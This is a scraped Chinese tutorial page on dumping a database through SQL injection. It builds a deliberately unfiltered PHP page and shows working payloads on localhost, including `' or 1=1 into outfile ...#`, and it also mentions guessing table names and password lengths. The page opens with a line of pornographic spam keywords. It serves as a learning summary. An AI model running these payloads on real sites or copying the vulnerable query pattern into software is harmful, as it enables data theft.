欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用SQL注入漏洞拖庫的方法

 更新時間:2012年01月12日 21:47:32   作者:  
利用SQL注入漏洞登錄后臺和利用SQL注入漏洞拖庫是我學習了相關(guān)內(nèi)容之后的一點小結(jié),沒啥深度,正如文章開頭所說,權(quán)當總結(jié),別無它意
想在本地測試的話,可以在此免積分下載:利用SQL注入漏洞拖庫
同上一篇文章一樣,我們需要創(chuàng)建數(shù)據(jù)表,并在表中出入幾條數(shù)據(jù)以備測試之用。
在數(shù)據(jù)庫中建立一張表:
復制代碼 代碼如下:

CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

在表中插入數(shù)據(jù)的操作我就不貼代碼了,可以去下載下來直接導入到數(shù)據(jù)庫。
接下來,寫一個處理用戶請求的頁面,這里,我們故意不過濾用戶提交過來的數(shù)據(jù),留下個SQL注入漏洞用來測試。
代碼如下:
復制代碼 代碼如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未經(jīng)過濾
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數(shù)據(jù)庫連接失敗");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>利用SQL注入漏洞拖庫<p>";
if (!$row){
echo "該記錄不存在";
exit;
}
echo "標題<br>".$row['title']."<p>";
echo "內(nèi)容<br>".$row['content']."<p>";
?>

我們直接在瀏覽器中輸入:
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可訪問article表中id為1的一條記錄
訪問結(jié)果如下:

接下來,我們就利用這個漏洞(不知道該漏洞的情況下,只能通過工具+手工檢測),演示一下如何將article表下載下來。
在地址欄中輸入:' into outfile 'e:/sql.txt'%23
分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數(shù)據(jù)庫系統(tǒng)中會變成空,需要在地址欄中輸入%23,那么才會變成#,進而注釋掉后面的sql語句。
運行之后,打開E盤,發(fā)現(xiàn)多了一個sql.txt文件,打開之后,里面就是表article中的一條記錄。
為什么只有一條記錄呢?難道該數(shù)據(jù)表就只有一條記錄?不是這樣的,因為我們只檢索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來呢?
答案是可以的,只要你的構(gòu)造的SQL語句足夠靈活(再次提出了構(gòu)造SQL語句的靈活性)。
分析一下,當在URL地址欄中輸入'into outfile 'e:/sql.txt'%23的時候,合并到sql查詢語句中變?yōu)椋?
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔細分析下之后,我們可以這樣子構(gòu)造SQL語句:
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
這樣的話,無論如何WHERE子句總是為真,換句話說,該sql語句等價于如下:
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧,該sql語句在先執(zhí)行select語句,將表article中的所以內(nèi)容全部檢索出來,然后再執(zhí)行into outfile 'e:/whf.txt'#'將內(nèi)容導出來。
不信的話,你執(zhí)行下……
利用SQL注入漏洞,我們可以猜測表名,列名,用戶的密碼長度(LEFT函數(shù))等等,當然了,如果能直接向以上的演示那樣將表中的數(shù)據(jù)全部導出的話就沒必要去猜表名列名等等。
有點累了,就寫到這里了。
利用SQL注入漏洞登錄后臺和利用SQL注入漏洞拖庫是我學習了相關(guān)內(nèi)容之后的一點小結(jié),沒啥深度,正如文章開頭所說,權(quán)當總結(jié),別無它意。

相關(guān)文章

  • SQL數(shù)據(jù)去重的3種方法實例詳解

    SQL數(shù)據(jù)去重的3種方法實例詳解

    SQL去重是數(shù)據(jù)分析工作中比較常見的一個場景,下面這篇文章主要給大家介紹了關(guān)于SQL數(shù)據(jù)去重的3種方法,文中通過實例代碼介紹的非常詳細,需要的朋友可以參考下
    2023-01-01
  • mysql配置連接參數(shù)設置及性能優(yōu)化

    mysql配置連接參數(shù)設置及性能優(yōu)化

    這篇文章主要介紹了mysql配置連接參數(shù)設置及性能優(yōu)化,主要介紹配置信息的說明和性能優(yōu)化,具有一定的參考價值,需要的小伙伴可以參考一下
    2022-05-05
  • mysql 8.0.11壓縮包版本安裝教程

    mysql 8.0.11壓縮包版本安裝教程

    這篇文章主要為大家詳細介紹了mysql 8.0.11壓縮包版本安裝教程,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-05-05
  • MySQL報錯:Starting MySQL ERROR! Couldn‘t find MySQL server (/usr/local/mysql/bin/mysqld_safe)

    MySQL報錯:Starting MySQL ERROR! Couldn‘t f

    本文主要介紹了MySQL報錯:Starting MySQL ERROR! Couldn‘t find MySQL server (/usr/local/mysql/bin/mysqld_safe)
    2024-03-03
  • MySql,MVCC實現(xiàn)及其機制,快照讀在RC,RR下的區(qū)別說明

    MySql,MVCC實現(xiàn)及其機制,快照讀在RC,RR下的區(qū)別說明

    這篇文章主要介紹了MySql,MVCC實現(xiàn)及其機制,快照讀在RC,RR下的區(qū)別說明,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-04-04
  • 分享Mysql命令大全

    分享Mysql命令大全

    本文給大家介紹mysql命令大全相關(guān)知識,涉及到mysql命令相關(guān)知識,對此感興趣的朋友一起學習吧
    2015-12-12
  • MySQL高可用解決方案MMM(mysql多主復制管理器)

    MySQL高可用解決方案MMM(mysql多主復制管理器)

    MySQL本身沒有提供replication failover的解決方案,通過MMM方案能實現(xiàn)服務器的故障轉(zhuǎn)移,從而實現(xiàn)mysql的高可用。MMM不僅能提供浮動IP的功能,如果當前的主服務器掛掉后,會將你后端的從服務器自動轉(zhuǎn)向新的主服務器進行同步復制,不用手工更改同步配置
    2017-09-09
  • MySQL備份恢復設計思路

    MySQL備份恢復設計思路

    這篇文章主要介紹了MySQL備份恢復設計思路,幫助大家更好的維護數(shù)據(jù)庫,感興趣的朋友可以了解下
    2020-10-10
  • mysql 批量更新與批量更新多條記錄的不同值實現(xiàn)方法

    mysql 批量更新與批量更新多條記錄的不同值實現(xiàn)方法

    在mysql中批量更新我們可能使用update,replace into來操作,下面小編來給各位同學詳細介紹mysql 批量更新與性能吧
    2013-10-10
  • Mysql案例刨析事務隔離級別

    Mysql案例刨析事務隔離級別

    隔離性其實比想象要復雜。在SQL中定義了四種隔離的級別,每一種隔離級別都規(guī)定了一個事務中的修改,哪些是在事務內(nèi)和事務間是可見的,哪些是不可見的。較低級別的隔離通常來說能承受更高的并發(fā),系統(tǒng)的開銷也會更小
    2021-09-09

最新評論